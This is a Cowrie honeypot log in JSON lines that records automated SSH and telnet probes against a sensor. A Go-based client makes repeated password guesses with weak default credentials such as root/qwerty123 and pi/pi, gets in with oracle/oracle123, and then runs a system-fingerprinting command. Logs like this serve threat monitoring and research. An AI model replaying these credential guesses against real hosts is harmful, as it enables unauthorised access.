{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":53830,"dst_ip":"159.203.135.109","dst_port":23,"session":"dce0d106e763","protocol":"telnet","message":"New connection: 134.209.8.29:53830 (159.203.135.109:23) [session: dce0d106e763]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:25:25.774739Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":57190,"dst_ip":"10.17.0.5","dst_port":23,"session":"0b10682cb999","protocol":"telnet","message":"New connection: 62.210.97.77:57190 (10.17.0.5:23) [session: 0b10682cb999]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:25:26.137344Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":58124,"dst_ip":"10.17.0.5","dst_port":22,"session":"29ab9eb1f2d1","protocol":"ssh","message":"New connection: 176.65.132.254:58124 (10.17.0.5:22) [session: 29ab9eb1f2d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:25:26.264818Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:25:26.269905Z","src_ip":"176.65.132.254","session":"29ab9eb1f2d1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:25:26.352397Z","src_ip":"176.65.132.254","session":"29ab9eb1f2d1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty123","message":"login attempt [root/qwerty123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:25:26.605040Z","src_ip":"176.65.132.254","session":"29ab9eb1f2d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:25:27.690164Z","src_ip":"176.65.132.254","session":"29ab9eb1f2d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.41658329963684,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:25:29.135051Z","src_ip":"62.210.97.77","session":"a5e1ee817b58","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":44346,"dst_ip":"10.17.0.5","dst_port":23,"session":"c93080f015e2","protocol":"telnet","message":"New connection: 38.54.119.93:44346 (10.17.0.5:23) [session: c93080f015e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:25:29.257206Z"}
{"eventid":"cowrie.session.closed","duration":34.33565902709961,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:25:30.001777Z","src_ip":"62.210.97.77","session":"0db744ea9798","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":58130,"dst_ip":"10.17.0.5","dst_port":22,"session":"3f9e49481d81","protocol":"ssh","message":"New connection: 176.65.132.254:58130 (10.17.0.5:22) [session: 3f9e49481d81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:25:30.189382Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:25:30.194735Z","src_ip":"176.65.132.254","session":"3f9e49481d81","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:25:30.277190Z","src_ip":"176.65.132.254","session":"3f9e49481d81","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pi","password":"pi","message":"login attempt [pi/pi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:25:30.540991Z","src_ip":"176.65.132.254","session":"3f9e49481d81","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.666329860687256,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:25:30.907218Z","src_ip":"62.210.97.77","session":"2f82aea017ba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:25:31.948426Z","src_ip":"176.65.132.254","session":"3f9e49481d81","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":72.3591058254242,"message":"Connection lost after 72 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:25:32.035943Z","src_ip":"134.209.8.29","session":"e329bf6ecf24","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":57326,"dst_ip":"10.17.0.5","dst_port":23,"session":"6cd865acb4c7","protocol":"telnet","message":"New connection: 62.210.97.77:57326 (10.17.0.5:23) [session: 6cd865acb4c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:25:33.781855Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":54906,"dst_ip":"10.17.0.5","dst_port":22,"session":"3e24b10834ef","protocol":"ssh","message":"New connection: 176.65.132.254:54906 (10.17.0.5:22) [session: 3e24b10834ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:25:34.516870Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:25:34.522021Z","src_ip":"176.65.132.254","session":"3e24b10834ef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:25:34.603744Z","src_ip":"176.65.132.254","session":"3e24b10834ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amir","password":"123456","message":"login attempt [amir/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:25:34.860904Z","src_ip":"176.65.132.254","session":"3e24b10834ef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":57332,"dst_ip":"10.17.0.5","dst_port":23,"session":"15c61c8e32c6","protocol":"telnet","message":"New connection: 62.210.97.77:57332 (10.17.0.5:23) [session: 15c61c8e32c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:25:34.969618Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:25:35.947926Z","src_ip":"176.65.132.254","session":"3e24b10834ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.70537710189819,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:25:36.800077Z","src_ip":"65.60.27.33","session":"68c02ba0ac6e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.332771062850952,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:25:37.381986Z","src_ip":"62.210.97.77","session":"5e15cf423096","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.02784442901611,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:25:37.835994Z","src_ip":"62.210.97.77","session":"c35c27245b4b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":54920,"dst_ip":"10.17.0.5","dst_port":22,"session":"c2bf934e3f0c","protocol":"ssh","message":"New connection: 176.65.132.254:54920 (10.17.0.5:22) [session: c2bf934e3f0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:25:38.672987Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:25:38.678432Z","src_ip":"176.65.132.254","session":"c2bf934e3f0c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:25:38.761599Z","src_ip":"176.65.132.254","session":"c2bf934e3f0c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":53866,"dst_ip":"10.17.0.5","dst_port":23,"session":"b46ee8c73c6e","protocol":"telnet","message":"New connection: 62.210.97.77:53866 (10.17.0.5:23) [session: b46ee8c73c6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:25:38.885243Z"}
{"eventid":"cowrie.login.failed","username":"cw","password":"cw","message":"login attempt [cw/cw] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:25:39.037867Z","src_ip":"176.65.132.254","session":"c2bf934e3f0c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":41106,"dst_ip":"10.17.0.5","dst_port":23,"session":"d277ea9b09b8","protocol":"telnet","message":"New connection: 65.60.27.33:41106 (10.17.0.5:23) [session: d277ea9b09b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:25:39.044364Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:25:40.140987Z","src_ip":"176.65.132.254","session":"c2bf934e3f0c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":43302,"dst_ip":"10.17.0.5","dst_port":23,"session":"fd2c7f4fa2cc","protocol":"telnet","message":"New connection: 65.60.27.33:43302 (10.17.0.5:23) [session: fd2c7f4fa2cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:25:40.754819Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":51344,"dst_ip":"10.17.0.5","dst_port":22,"session":"15b13559c94a","protocol":"ssh","message":"New connection: 176.65.132.254:51344 (10.17.0.5:22) [session: 15b13559c94a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:25:42.559250Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:25:42.564141Z","src_ip":"176.65.132.254","session":"15b13559c94a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:25:42.646766Z","src_ip":"176.65.132.254","session":"15b13559c94a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"1","message":"login attempt [deploy/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:25:42.895062Z","src_ip":"176.65.132.254","session":"15b13559c94a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.2544310092926,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:25:43.115124Z","src_ip":"65.60.27.33","session":"5dd434149cff","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.33248233795166,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:25:43.592075Z","src_ip":"62.210.97.77","session":"b3933f8657b9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":53882,"dst_ip":"10.17.0.5","dst_port":23,"session":"042b99a7893a","protocol":"telnet","message":"New connection: 62.210.97.77:53882 (10.17.0.5:23) [session: 042b99a7893a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:25:43.604544Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:25:43.994678Z","src_ip":"176.65.132.254","session":"15b13559c94a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":53894,"dst_ip":"10.17.0.5","dst_port":23,"session":"3a748d5097f2","protocol":"telnet","message":"New connection: 62.210.97.77:53894 (10.17.0.5:23) [session: 3a748d5097f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:25:44.162755Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":53908,"dst_ip":"10.17.0.5","dst_port":23,"session":"5c6c3c6c75ec","protocol":"telnet","message":"New connection: 62.210.97.77:53908 (10.17.0.5:23) [session: 5c6c3c6c75ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:25:44.509882Z"}
{"eventid":"cowrie.session.closed","duration":34.60005760192871,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:25:44.579861Z","src_ip":"62.210.97.77","session":"a89f1a288f43","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":51356,"dst_ip":"10.17.0.5","dst_port":22,"session":"b1ebd51ffa5e","protocol":"ssh","message":"New connection: 176.65.132.254:51356 (10.17.0.5:22) [session: b1ebd51ffa5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:25:46.443580Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:25:46.448725Z","src_ip":"176.65.132.254","session":"b1ebd51ffa5e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:25:46.537338Z","src_ip":"176.65.132.254","session":"b1ebd51ffa5e","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"oracle123","message":"login attempt [oracle/oracle123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:25:46.783373Z","src_ip":"176.65.132.254","session":"b1ebd51ffa5e","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:25:47.000472Z","src_ip":"176.65.132.254","session":"b1ebd51ffa5e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:25:47.004239Z","src_ip":"176.65.132.254","session":"b1ebd51ffa5e","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:25:47.090849Z","src_ip":"176.65.132.254","session":"b1ebd51ffa5e","protocol":"ssh"}
